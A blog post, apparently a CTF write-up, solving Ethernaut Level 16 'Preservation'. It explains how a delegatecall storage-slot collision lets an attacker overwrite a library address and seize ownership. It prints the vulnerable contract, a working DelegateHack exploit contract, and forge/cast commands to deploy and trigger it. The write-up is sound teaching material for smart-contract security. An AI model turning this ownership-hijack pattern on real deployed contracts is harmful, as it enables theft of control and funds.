Search for a command to run...
Analysis and solution for Ethernaut's Level 16 - Preservation, with Solidity and Foundry
I'm leading the Research at Credshields, and Pentest teams at Cobalt Labs and HackerOne. I occasionally blog about my findings and adventures in pentesting.
No comments yet. Be the first to comment.
Solutions and Walkthrough for Ethernaut CTF written in Solidity with the help of Foundry Framework
Analysis and solution for Ethernaut's Level 17 - Recovery, with Solidity and Foundry
Overview During a recent pentest of an iOS health application (let's call it MedVault), I came across something interesting. The app was using custom URL schemes for deep linking but had no Universal
Analysis and PoC of Damn Vulnerable DeFi Level 06 - Selfie
Analysis and PoC of Damn Vulnerable DeFi Level 05 - The Rewarder
Analysis and PoC of Damn Vulnerable DeFi Level 04 - Side Entrance
Analysis and PoC of Damn Vulnerable DeFi Level 03 - Truster
This level wants us to become the new owner to complete the instance.
This is similar to other levels where we solved challenges related to delegate calls and how they can be used to preserve the state and storage. It is recommended to go through levels 6 and 12 before starting with this one. Let's dive in.
We learned in levels 6 and 12 about how delegate calls can be used to make external calls to other contracts. This is mostly used in library calls and the storage changes are replicated.
A delegate call is a special low-level call in Solidity to make external calls to another contract. Solidity By Example does an excellent job of explaining this.
Let's assume there are two contracts, similar to the one shown in Ethernaut's Delegation level, contracts A and B.
When contract A executes delegatecall to contract B, B's code is executed with contract A's storage, msg.sender and msg.value.
This means that it is possible to modify a contract's storage using a code (malicious code) belonging to another contract.
Let's go through the vulnerable code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
setTimeSignature defines a function signature which will be used in delegate call so it knows which function name to call. setFirstTime and setSecondTime are taking a timestamp as input and making delegate calls to the libraries. So the only part we control here is the parameter uint _timeStamp. storedTime in slot 0 which maps to the variable address public timeZone1Library in the Preservation contract. setTime() is taking an input which is controlled by us and is stored inside the above variable. To complete the level, here's what we have to do:
setFirstTime() function. In the function argument _timeStamp, pass the address of the DelegateHack. setTime() function with the address of the DelegateHack contract in_time. This will be stored in the parameter storedTime on slot 0. timeZone1Library in slot 0, it will get updated with the DelegateHack's address. Now we have control over one of the libraries. setTime() function in our library/contract/DelegateHack and accept an address and store it inside our own owner variable. owner is updated in slot 2 of the Preservation contract, we will organize the slots in our contract accordingly. setFirstTime function of the Preservation contract. Since we control the library's address, the execution flow will go to our own DelegateHack contract and set the owner which will then be reflected in the Preservation contract as well. Let's now look at our exploit code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "../instances/Ilevel16.sol";
contract DelegateHack {
address public t1;
address public t2;
address public owner;
Preservation level16 = Preservation(0x1E422B805DC5541a09fBbf239D734313B9F42Eca);
function exploit() external {
level16.setFirstTime(uint256(address(this)));
level16.setFirstTime(uint256(0xEAce4b71CA1A128e8B562561f46896D55B9B0246));
}
function setTime(address _owner) public {
owner = _owner;
}
}
As mentioned above, we are calling setFirstTime() first with the address of our DelegateHack contract and then again with the address value we want to set as the owner in the Preservation contract.
We are also defining a function with the same name as in the LibraryContract - setTime() because the function signature is constant in setTimeSignature. But our function is taking an address and assigning it to the owner variable in slot 2 which is mapped to the owner variable in the Preservation contract since our slot arrangement is the same. This will set the owner.
Let's deploy the contract using:
forge create DelegateHack --private-key $PKEY --rpc-url $RPC_URL
Now we can call our exploit() function to trigger the exploit and become the new owner:
cast send 0x1e36cAD4732E1EFD5Dd5dAf44C3E4c6f622D93fC "exploit()" --private-key $PKEY --rpc-url $RPC_URL
The instance can now be submitted to finish the level.
My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry
My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - https://blog.dixitaditya.com/getting-started-with-ethernaut-hello-ethernaut
library, not contract, to ensure libraries will not modify caller storage data when the caller uses a delegatecall.